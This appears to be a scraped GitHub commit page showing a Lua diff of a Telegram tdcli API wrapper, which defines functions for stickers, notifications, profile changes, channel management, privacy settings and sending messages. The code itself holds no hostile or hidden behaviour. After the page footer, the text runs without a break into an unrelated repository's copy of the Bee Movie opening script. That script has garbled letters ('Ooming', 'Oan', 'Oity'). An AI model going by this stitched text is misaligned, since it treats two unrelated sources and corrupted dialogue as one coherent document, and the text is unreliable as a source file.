stickers recently attached to photo or video files, pass false to add the sticker to the list of recently sent stickers +-- @sticker Sticker file to add +local function addRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "AddRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.addRecentSticker = addRecentSticker + +-- Removes a sticker from the list of recently used stickers +-- @is_attached Pass true to remove the sticker from the list of stickers recently attached to photo or video files, pass false to remove the sticker from the list of recently sent stickers +-- @sticker Sticker file to delete +local function deleteRecentSticker(is_attached, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteRecentSticker", + is_attached_ = is_attached, + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.deleteRecentSticker = deleteRecentSticker + +-- Clears list of recently used stickers +-- @is_attached Pass true to clear list of stickers recently attached to photo or video files, pass false to clear the list of recently sent stickers +local function clearRecentStickers(is_attached, dl_cb, cmd) + tdcli_function ({ + ID = "ClearRecentStickers", + is_attached_ = is_attached + }, dl_cb, cmd) +end + +M.clearRecentStickers = clearRecentStickers + +-- Returns emojis corresponding to a sticker +-- @sticker Sticker file identifier +local function getStickerEmojis(sticker, dl_cb, cmd) + tdcli_function ({ + ID = "GetStickerEmojis", + sticker_ = getInputFile(sticker) + }, dl_cb, cmd) +end + +M.getStickerEmojis = getStickerEmojis + +-- Returns saved animations +local function getSavedAnimations(dl_cb, cmd) + tdcli_function ({ + ID = "GetSavedAnimations", + }, dl_cb, cmd) +end + +M.getSavedAnimations = getSavedAnimations + +-- Manually adds new animation to the list of saved animations. +-- New animation is added to the beginning of the list. +-- If the animation is already in the list, at first it is removed from the list. +-- Only non-secret video animations with MIME type "video/mp4" can be added to the list +-- @animation Animation file to add. Only known to server animations (i. e. successfully sent via message) can be added to the list +local function addSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "AddSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.addSavedAnimation = addSavedAnimation + +-- Removes animation from the list of saved animations +-- @animation Animation file to delete +local function deleteSavedAnimation(animation, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteSavedAnimation", + animation_ = getInputFile(animation) + }, dl_cb, cmd) +end + +M.deleteSavedAnimation = deleteSavedAnimation + +-- Returns up to 20 recently used inline bots in the order of the last usage +local function getRecentInlineBots(dl_cb, cmd) + tdcli_function ({ + ID = "GetRecentInlineBots", + }, dl_cb, cmd) +end + +M.getRecentInlineBots = getRecentInlineBots + +-- Get web page preview by text of the message. +-- Do not call this function to often +-- @message_text Message text +local function getWebPagePreview(message_text, dl_cb, cmd) + tdcli_function ({ + ID = "GetWebPagePreview", + message_text_ = message_text + }, dl_cb, cmd) +end + +M.getWebPagePreview = getWebPagePreview + +-- Returns notification settings for a given scope +-- @scope Scope to return information about notification settings +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function getNotificationSettings(scope, chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + }, dl_cb, cmd) +end + +M.getNotificationSettings = getNotificationSettings + +-- Changes notification settings for a given scope +-- @scope Scope to change notification settings +-- @notification_settings New notification settings for given scope +-- scope = Chat(chat_id)|PrivateChats|GroupChats|AllChats| +local function setNotificationSettings(scope, chat_id, mute_for, show_preview, dl_cb, cmd) + tdcli_function ({ + ID = "SetNotificationSettings", + scope_ = { + ID = 'NotificationSettingsFor' .. scope, + chat_id_ = chat_id or nil + }, + notification_settings_ = { + ID = "NotificationSettings", + mute_for_ = mute_for, + sound_ = "default", + show_preview_ = show_preview + } + }, dl_cb, cmd) +end + +M.setNotificationSettings = setNotificationSettings + +-- Resets all notification settings to the default value. +-- By default the only muted chats are supergroups, sound is set to 'default' and message previews are showed +local function resetAllNotificationSettings(dl_cb, cmd) + tdcli_function ({ + ID = "ResetAllNotificationSettings" + }, dl_cb, cmd) +end + +M.resetAllNotificationSettings = resetAllNotificationSettings + +-- Uploads new profile photo for logged in user. +-- Photo will not change until change will be synchronized with the server. +-- Photo will not be changed if application is killed before it can send request to the server. +-- If something changes, updateUser will be sent +-- @photo_path Path to new profile photo +local function setProfilePhoto(photo_path, dl_cb, cmd) + tdcli_function ({ + ID = "SetProfilePhoto", + photo_path_ = photo_path + }, dl_cb, cmd) +end + +M.setProfilePhoto = setProfilePhoto + +-- Deletes profile photo. +-- If something changes, updateUser will be sent +-- @profile_photo_id Identifier of profile photo to delete +local function deleteProfilePhoto(profile_photo_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteProfilePhoto", + profile_photo_id_ = profile_photo_id + }, dl_cb, cmd) +end + +M.deleteProfilePhoto = deleteProfilePhoto + +-- Changes first and last names of logged in user. +-- If something changes, updateUser will be sent +-- @first_name New value of user first name, 1-255 characters +-- @last_name New value of optional user last name, 0-255 characters +local function changeName(first_name, last_name, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeName", + first_name_ = first_name, + last_name_ = last_name + }, dl_cb, cmd) +end + +M.changeName = changeName + +-- Changes about information of logged in user +-- @about New value of userFull.about, 0-255 characters +local function changeAbout(about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAbout", + about_ = about + }, dl_cb, cmd) +end + +M.changeAbout = changeAbout + +-- Changes username of logged in user. +-- If something changes, updateUser will be sent +-- @username New value of username. Use empty string to remove username +local function changeUsername(username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeUsername", + username_ = username + }, dl_cb, cmd) +end + +M.changeUsername = changeUsername + +-- Changes user's phone number and sends authentication code to the new user's phone number. +-- Returns authStateWaitCode with information about sent code on success +-- @phone_number New user's phone number in any reasonable format +-- @allow_flash_call Pass True, if code can be sent via flash call to the specified phone number +-- @is_current_phone_number Pass true, if the phone number is used on the current device. Ignored if allow_flash_call is False +local function changePhoneNumber(phone_number, allow_flash_call, is_current_phone_number, dl_cb, cmd) + tdcli_function ({ + ID = "ChangePhoneNumber", + phone_number_ = phone_number, + allow_flash_call_ = allow_flash_call, + is_current_phone_number_ = is_current_phone_number + }, dl_cb, cmd) +end + +M.changePhoneNumber = changePhoneNumber + +-- Resends authentication code sent to change user's phone number. +-- Works only if in previously received authStateWaitCode next_code_type was not null. +-- Returns authStateWaitCode on success +local function resendChangePhoneNumberCode(dl_cb, cmd) + tdcli_function ({ + ID = "ResendChangePhoneNumberCode", + }, dl_cb, cmd) +end + +M.resendChangePhoneNumberCode = resendChangePhoneNumberCode + +-- Checks authentication code sent to change user's phone number. +-- Returns authStateOk on success +-- @code Verification code from SMS, voice call or flash call +local function checkChangePhoneNumberCode(code, dl_cb, cmd) + tdcli_function ({ + ID = "CheckChangePhoneNumberCode", + code_ = code + }, dl_cb, cmd) +end + +M.checkChangePhoneNumberCode = checkChangePhoneNumberCode + +-- Returns all active sessions of logged in user +local function getActiveSessions(dl_cb, cmd) + tdcli_function ({ + ID = "GetActiveSessions", + }, dl_cb, cmd) +end + +M.getActiveSessions = getActiveSessions + +-- Terminates another session of logged in user +-- @session_id Session identifier +local function terminateSession(session_id, dl_cb, cmd) + tdcli_function ({ + ID = "TerminateSession", + session_id_ = session_id + }, dl_cb, cmd) +end + +M.terminateSession = terminateSession + +-- Terminates all other sessions of logged in user +local function terminateAllOtherSessions(dl_cb, cmd) + tdcli_function ({ + ID = "TerminateAllOtherSessions", + }, dl_cb, cmd) +end + +M.terminateAllOtherSessions = terminateAllOtherSessions + +-- Gives or revokes all members of the group editor rights. +-- Needs creator privileges in the group +-- @group_id Identifier of the group +-- @anyone_can_edit New value of anyone_can_edit +local function toggleGroupEditors(group_id, anyone_can_edit, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleGroupEditors", + group_id_ = getChatId(group_id).ID, + anyone_can_edit_ = anyone_can_edit + }, dl_cb, cmd) +end + +M.toggleGroupEditors = toggleGroupEditors + +-- Changes username of the channel. +-- Needs creator privileges in the channel +-- @channel_id Identifier of the channel +-- @username New value of username. Use empty string to remove username +local function changeChannelUsername(channel_id, username, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelUsername", + channel_id_ = getChatId(channel_id).ID, + username_ = username + }, dl_cb, cmd) +end + +M.changeChannelUsername = changeChannelUsername + +-- Gives or revokes right to invite new members to all current members of the channel. +-- Needs creator privileges in the channel. +-- Available only for supergroups +-- @channel_id Identifier of the channel +-- @anyone_can_invite New value of anyone_can_invite +local function toggleChannelInvites(channel_id, anyone_can_invite, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelInvites", + channel_id_ = getChatId(channel_id).ID, + anyone_can_invite_ = anyone_can_invite + }, dl_cb, cmd) +end + +M.toggleChannelInvites = toggleChannelInvites + +-- Enables or disables sender signature on sent messages in the channel. +-- Needs creator privileges in the channel. +-- Not available for supergroups +-- @channel_id Identifier of the channel +-- @sign_messages New value of sign_messages +local function toggleChannelSignMessages(channel_id, sign_messages, dl_cb, cmd) + tdcli_function ({ + ID = "ToggleChannelSignMessages", + channel_id_ = getChatId(channel_id).ID, + sign_messages_ = sign_messages + }, dl_cb, cmd) +end + +M.toggleChannelSignMessages = toggleChannelSignMessages + +-- Changes information about the channel. +-- Needs creator privileges in the broadcast channel or editor privileges in the supergroup channel +-- @channel_id Identifier of the channel +-- @about New value of about, 0-255 characters +local function changeChannelAbout(channel_id, about, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChannelAbout", + channel_id_ = getChatId(channel_id).ID, + about_ = about + }, dl_cb, cmd) +end + +M.changeChannelAbout = changeChannelAbout + +-- Pins a message in a supergroup channel chat. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +-- @message_id Identifier of the new pinned message +-- @disable_notification True, if there should be no notification about the pinned message +local function pinChannelMessage(channel_id, message_id, disable_notification, dl_cb, cmd) + tdcli_function ({ + ID = "PinChannelMessage", + channel_id_ = getChatId(channel_id).ID, + message_id_ = message_id, + disable_notification_ = disable_notification + }, dl_cb, cmd) +end + +M.pinChannelMessage = pinChannelMessage + +-- Removes pinned message in the supergroup channel. +-- Needs editor privileges in the channel +-- @channel_id Identifier of the channel +local function unpinChannelMessage(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "UnpinChannelMessage", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.unpinChannelMessage = unpinChannelMessage + +-- Reports some supergroup channel messages from a user as spam messages +-- @channel_id Channel identifier +-- @user_id User identifier +-- @message_ids Identifiers of messages sent in the supergroup by the user, the list should be non-empty +local function reportChannelSpam(channel_id, user_id, message_ids, dl_cb, cmd) + tdcli_function ({ + ID = "ReportChannelSpam", + channel_id_ = getChatId(channel_id).ID, + user_id_ = user_id, + message_ids_ = message_ids -- vector + }, dl_cb, cmd) +end + +M.reportChannelSpam = reportChannelSpam + +-- Returns information about channel members or kicked from channel users. +-- Can be used only if channel_full->can_get_members == true +-- @channel_id Identifier of the channel +-- @filter Kind of channel users to return, defaults to channelMembersRecent +-- @offset Number of channel users to skip +-- @limit Maximum number of users be returned, can't be greater than 200 +-- filter = Recent|Administrators|Kicked|Bots +local function getChannelMembers(channel_id, offset, filter, limit, dl_cb, cmd) + if not limit or limit > 200 then + limit = 200 + end + + tdcli_function ({ + ID = "GetChannelMembers", + channel_id_ = getChatId(channel_id).ID, + filter_ = { + ID = "ChannelMembers" .. filter + }, + offset_ = offset, + limit_ = limit + }, dl_cb, cmd) +end + +M.getChannelMembers = getChannelMembers + +-- Deletes channel along with all messages in corresponding chat. +-- Releases channel username and removes all members. +-- Needs creator privileges in the channel. +-- Channels with more than 1000 members can't be deleted +-- @channel_id Identifier of the channel +local function deleteChannel(channel_id, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteChannel", + channel_id_ = getChatId(channel_id).ID + }, dl_cb, cmd) +end + +M.deleteChannel = deleteChannel + +-- Returns list of created public channels +local function getCreatedPublicChannels(dl_cb, cmd) + tdcli_function ({ + ID = "GetCreatedPublicChannels" + }, dl_cb, cmd) +end + +M.getCreatedPublicChannels = getCreatedPublicChannels + +-- Closes secret chat +-- @secret_chat_id Secret chat identifier +local function closeSecretChat(secret_chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "CloseSecretChat", + secret_chat_id_ = secret_chat_id + }, dl_cb, cmd) +end + +M.closeSecretChat = closeSecretChat + +-- Returns user that can be contacted to get support +local function getSupportUser(dl_cb, cmd) + tdcli_function ({ + ID = "GetSupportUser", + }, dl_cb, cmd) +end + +M.getSupportUser = getSupportUser + +-- Returns background wallpapers +local function getWallpapers(dl_cb, cmd) + tdcli_function ({ + ID = "GetWallpapers", + }, dl_cb, cmd) +end + +M.getWallpapers = getWallpapers + +-- Registers current used device for receiving push notifications +-- @device_token Device token +-- device_token = apns|gcm|mpns|simplePush|ubuntuPhone|blackberry +local function registerDevice(device_token, token, device_token_set, dl_cb, cmd) + local dToken = {ID = device_token .. 'DeviceToken', token_ = token} + + if device_token_set then + dToken = {ID = "DeviceTokenSet", token_ = device_token_set} -- tokens:vector<DeviceToken> + end + + tdcli_function ({ + ID = "RegisterDevice", + device_token_ = dToken + }, dl_cb, cmd) +end + +M.registerDevice = registerDevice + +-- Returns list of used device tokens +local function getDeviceTokens(dl_cb, cmd) + tdcli_function ({ + ID = "GetDeviceTokens", + }, dl_cb, cmd) +end + +M.getDeviceTokens = getDeviceTokens + +-- Changes privacy settings +-- @key Privacy key +-- @rules New privacy rules +-- @privacyKeyUserStatus Privacy key for managing visibility of the user status +-- @privacyKeyChatInvite Privacy key for managing ability of invitation of the user to chats +-- @privacyRuleAllowAll Rule to allow all users +-- @privacyRuleAllowContacts Rule to allow all user contacts +-- @privacyRuleAllowUsers Rule to allow specified users +-- @user_ids User identifiers +-- @privacyRuleDisallowAll Rule to disallow all users +-- @privacyRuleDisallowContacts Rule to disallow all user contacts +-- @privacyRuleDisallowUsers Rule to disallow all specified users +-- key = UserStatus|ChatInvite +-- rules = AllowAll|AllowContacts|AllowUsers(user_ids)|DisallowAll|DisallowContacts|DisallowUsers(user_ids) +local function setPrivacy(key, rule, allowed_user_ids, disallowed_user_ids, dl_cb, cmd) + local rules = {[0] = {ID = 'PrivacyRule' .. rule}} + + if allowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids -- vector + }, + } + end + if disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids -- vector + }, + } + end + if allowed_user_ids and disallowed_user_ids then + rules = { + { + ID = 'PrivacyRule' .. rule + }, + { + ID = "PrivacyRuleAllowUsers", + user_ids_ = allowed_user_ids + }, + [0] = { + ID = "PrivacyRuleDisallowUsers", + user_ids_ = disallowed_user_ids + }, + } + end + tdcli_function ({ + ID = "SetPrivacy", + key_ = { + ID = 'PrivacyKey' .. key + }, + rules_ = { + ID = "PrivacyRules", + rules_ = rules + }, + }, dl_cb, cmd) +end + +M.setPrivacy = setPrivacy + +-- Returns current privacy settings +-- @key Privacy key +-- key = UserStatus|ChatInvite +local function getPrivacy(key, dl_cb, cmd) + tdcli_function ({ + ID = "GetPrivacy", + key_ = { + ID = "PrivacyKey" .. key + }, + }, dl_cb, cmd) +end + +M.getPrivacy = getPrivacy + +-- Returns value of an option by its name. +-- See list of available options on https://core.telegram.org/tdlib/options +-- @name Name of the option +local function getOption(name, dl_cb, cmd) + tdcli_function ({ + ID = "GetOption", + name_ = name + }, dl_cb, cmd) +end + +M.getOption = getOption + +-- Sets value of an option. +-- See list of available options on https://core.telegram.org/tdlib/options. +-- Only writable options can be set +-- @name Name of the option +-- @value New value of the option +local function setOption(name, option, value, dl_cb, cmd) + tdcli_function ({ + ID = "SetOption", + name_ = name, + value_ = { + ID = 'Option' .. option, + value_ = value + }, + }, dl_cb, cmd) +end + +M.setOption = setOption + +-- Changes period of inactivity, after which the account of currently logged in user will be automatically deleted +-- @ttl New account TTL +local function changeAccountTtl(days, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeAccountTtl", + ttl_ = { + ID = "AccountTtl", + days_ = days + }, + }, dl_cb, cmd) +end + +M.changeAccountTtl = changeAccountTtl + +-- Returns period of inactivity, after which the account of currently logged in user will be automatically deleted +local function getAccountTtl(dl_cb, cmd) + tdcli_function ({ + ID = "GetAccountTtl", + }, dl_cb, cmd) +end + +M.getAccountTtl = getAccountTtl + +-- Deletes the account of currently logged in user, deleting from the server all information associated with it. +-- Account's phone number can be used to create new account, but only once in two weeks +-- @reason Optional reason of account deletion +local function deleteAccount(reason, dl_cb, cmd) + tdcli_function ({ + ID = "DeleteAccount", + reason_ = reason + }, dl_cb, cmd) +end + +M.deleteAccount = deleteAccount + +-- Returns current chat report spam state +-- @chat_id Chat identifier +local function getChatReportSpamState(chat_id, dl_cb, cmd) + tdcli_function ({ + ID = "GetChatReportSpamState", + chat_id_ = chat_id + }, dl_cb, cmd) +end + +M.getChatReportSpamState = getChatReportSpamState + +-- Reports chat as a spam chat or as not a spam chat. +-- Can be used only if ChatReportSpamState.can_report_spam is true. +-- After this request ChatReportSpamState.can_report_spam became false forever +-- @chat_id Chat identifier +-- @is_spam_chat If true, chat will be reported as a spam chat, otherwise it will be marked as not a spam chat +local function changeChatReportSpamState(chat_id, is_spam_chat, dl_cb, cmd) + tdcli_function ({ + ID = "ChangeChatReportSpamState", + chat_id_ = chat_id, + is_spam_chat_ = is_spam_chat + }, dl_cb, cmd) +end + +M.changeChatReportSpamState = changeChatReportSpamState + +-- Bots only. +-- Informs server about number of pending bot updates if they aren't processed for a long time +-- @pending_update_count Number of pending updates +-- @error_message Last error's message +local function setBotUpdatesStatus(pending_update_count, error_message, dl_cb, cmd) + tdcli_function ({ + ID = "SetBotUpdatesStatus", + pending_update_count_ = pending_update_count, + error_message_ = error_message + }, dl_cb, cmd) +end + +M.setBotUpdatesStatus = setBotUpdatesStatus + +-- Returns Ok after specified amount of the time passed +-- @seconds Number of seconds before that function returns +local function setAlarm(seconds, dl_cb, cmd) + tdcli_function ({ + ID = "SetAlarm", + seconds_ = seconds + }, dl_cb, cmd) +end + +M.setAlarm = setAlarm + +-- Text message +-- @text Text to send +-- @disable_notification Pass true, to disable notification about the message, doesn't works in secret chats +-- @from_background Pass true, if the message is sent from background +-- @reply_markup Bots only. Markup for replying to message +-- @disable_web_page_preview Pass true to disable rich preview for link in the message text +-- @clear_draft Pass true if chat draft message should be deleted +-- @entities Bold, Italic, Code, Pre, PreCode and TextUrl entities contained in the text. Non-bot users can't use TextUrl entities. Can't be used with non-null parse_mode +-- @parse_mode Text parse mode, nullable. Can't be used along with enitities +local function sendMessage(chat_id, reply_to_message_id, disable_notification, text, disable_web_page_preview, parse_mode) + local TextParseMode = getParseMode(parse_mode) + + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = 1, + reply_markup_ = nil, + input_message_content_ = { + ID = "InputMessageText", + text_ = text, + disable_web_page_preview_ = disable_web_page_preview, + clear_draft_ = 0, + entities_ = {}, + parse_mode_ = TextParseMode, + }, + }, dl_cb, nil) +end + +M.sendMessage = sendMessage + +-- Animation message +-- @animation Animation file to send +-- @thumb Animation thumb, if available +-- @width Width of the animation, may be replaced by the server +-- @height Height of the animation, may be replaced by the server +-- @caption Animation caption, 0-200 characters +local function sendAnimation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, animation, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAnimation", + animation_ = getInputFile(animation), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAnimation = sendAnimation + +-- Audio message +-- @audio Audio file to send +-- @album_cover_thumb Thumb of the album's cover, if available +-- @duration Duration of audio in seconds, may be replaced by the server +-- @title Title of the audio, 0-64 characters, may be replaced by the server +-- @performer Performer of the audio, 0-64 characters, may be replaced by the server +-- @caption Audio caption, 0-200 characters +local function sendAudio(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, audio, duration, title, performer, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageAudio", + audio_ = getInputFile(audio), + --album_cover_thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + duration_ = duration or '', + title_ = title or '', + performer_ = performer or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendAudio = sendAudio + +-- Document message +-- @document Document to send +-- @thumb Document thumb, if available +-- @caption Document caption, 0-200 characters +local function sendDocument(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, document, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageDocument", + document_ = getInputFile(document), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendDocument = sendDocument + +-- Photo message +-- @photo Photo to send +-- @caption Photo caption, 0-200 characters +local function sendPhoto(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, photo, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessagePhoto", + photo_ = getInputFile(photo), + added_sticker_file_ids_ = {}, + width_ = 0, + height_ = 0, + caption_ = caption + }, + }, dl_cb, cmd) +end + +M.sendPhoto = sendPhoto + +-- Sticker message +-- @sticker Sticker to send +-- @thumb Sticker thumb, if available +local function sendSticker(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, sticker, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageSticker", + sticker_ = getInputFile(sticker), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + }, + }, dl_cb, cmd) +end + +M.sendSticker = sendSticker + +-- Video message +-- @video Video to send +-- @thumb Video thumb, if available +-- @duration Duration of video in seconds +-- @width Video width +-- @height Video height +-- @caption Video caption, 0-200 characters +local function sendVideo(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, video, duration, width, height, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVideo", + video_ = getInputFile(video), + --thumb_ = { + --ID = "InputThumb", + --path_ = path, + --width_ = width, + --height_ = height + --}, + added_sticker_file_ids_ = {}, + duration_ = duration or '', + width_ = width or '', + height_ = height or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVideo = sendVideo + +-- Voice message +-- @voice Voice file to send +-- @duration Duration of voice in seconds +-- @waveform Waveform representation of the voice in 5-bit format +-- @caption Voice caption, 0-200 characters +local function sendVoice(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, voice, duration, waveform, caption, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVoice", + voice_ = getInputFile(voice), + duration_ = duration or '', + waveform_ = waveform or '', + caption_ = caption or '' + }, + }, dl_cb, cmd) +end + +M.sendVoice = sendVoice + +-- Message with location +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +local function sendLocation(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageLocation", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + }, + }, dl_cb, cmd) +end + +M.sendLocation = sendLocation + +-- Message with information about venue +-- @venue Venue to send +-- @latitude Latitude of location in degrees as defined by sender +-- @longitude Longitude of location in degrees as defined by sender +-- @title Venue name as defined by sender +-- @address Venue address as defined by sender +-- @provider Provider of venue database as defined by sender. Only "foursquare" need to be supported currently +-- @id Identifier of the venue in provider database as defined by sender +local function sendVenue(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, latitude, longitude, title, address, id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageVenue", + venue_ = { + ID = "Venue", + location_ = { + ID = "Location", + latitude_ = latitude, + longitude_ = longitude + }, + title_ = title, + address_ = address, + provider_ = 'foursquare', + id_ = id + }, + }, + }, dl_cb, cmd) +end + +M.sendVenue = sendVenue + +-- User contact message +-- @contact Contact to send +-- @phone_number User's phone number +-- @first_name User first name, 1-255 characters +-- @last_name User last name +-- @user_id User identifier if known, 0 otherwise +local function sendContact(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, phone_number, first_name, last_name, user_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageContact", + contact_ = { + ID = "Contact", + phone_number_ = phone_number, + first_name_ = first_name, + last_name_ = last_name, + user_id_ = user_id + }, + }, + }, dl_cb, cmd) +end + +M.sendContact = sendContact + +-- Message with a game +-- @bot_user_id User identifier of a bot owned the game +-- @game_short_name Game short name +local function sendGame(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, bot_user_id, game_short_name, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageGame", + bot_user_id_ = bot_user_id, + game_short_name_ = game_short_name + }, + }, dl_cb, cmd) +end + +M.sendGame = sendGame + +-- Forwarded message +-- @from_chat_id Chat identifier of the message to forward +-- @message_id Identifier of the message to forward +local function sendForwarded(chat_id, reply_to_message_id, disable_notification, from_background, reply_markup, from_chat_id, message_id, dl_cb, cmd) + tdcli_function ({ + ID = "SendMessage", + chat_id_ = chat_id, + reply_to_message_id_ = reply_to_message_id, + disable_notification_ = disable_notification, + from_background_ = from_background, + reply_markup_ = reply_markup, + input_message_content_ = { + ID = "InputMessageForwarded", + from_chat_id_ = from_chat_id, + message_id_ = message_id + }, + }, dl_cb, cmd) +end + +M.sendForwarded = sendForwarded + +return M cli/tg/tgcli (Binary file not shown.) 0 comments on commit 3233fdf Comment on 3233fdf Leave a comment Comment Desktop version
landonasato / FunctionAccording to all known laws of aviation, there is no way a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway because bees don't care what humans think is impossible. Yellow, black. Yellow, black. Yellow, black. Yellow, black. Ooh, black and yellow! Let's shake it up a little. Barry! Breakfast is ready! Ooming! Hang on a second. Hello? - Barry? - Adam? - Oan you believe this is happening? - I can't. I'll pick you up. Looking sharp. Use the stairs. Your father paid good money for those. Sorry. I'm excited. Here's the graduate. We're very proud of you, son. A perfect report card, all B's. Very proud. Ma! I got a thing going here. - You got lint on your fuzz. - Ow! That's me! - Wave to us! We'll be in row 118,000. - Bye! Barry, I told you, stop flying in the house! - Hey, Adam. - Hey, Barry. - Is that fuzz gel? - A little. Special day, graduation. Never thought I'd make it. Three days grade school, three days high school. Those were awkward. Three days college. I'm glad I took a day and hitchhiked around the hive. You did come back different. - Hi, Barry. - Artie, growing a mustache? Looks good. - Hear about Frankie? - Yeah. - You going to the funeral? - No, I'm not going. Everybody knows, sting someone, you die. Don't waste it on a squirrel. Such a hothead. I guess he could have just gotten out of the way. I love this incorporating an amusement park into our day. That's why we don't need vacations. Boy, quite a bit of pomp... under the circumstances. - Well, Adam, today we are men. - We are! - Bee-men. - Amen! Hallelujah! Students, faculty, distinguished bees, please welcome Dean Buzzwell. Welcome, New Hive Oity graduating class of... ...9:15. That concludes our ceremonies. And begins your career at Honex Industries! Will we pick ourjob today? I heard it's just orientation. Heads up! Here we go. Keep your hands and antennas inside the tram at all times. - Wonder what it'll be like? - A little scary. Welcome to Honex, a division of Honesco and a part of the Hexagon Group. This is it! Wow. Wow. We know that you, as a bee, have worked your whole life to get to the point where you can work for your whole life. Honey begins when our valiant Pollen Jocks bring the nectar to the hive. Our top-secret formula is automatically color-corrected, scent-adjusted and bubble-contoured into this soothing sweet syrup with its distinctive golden glow you know as... Honey! 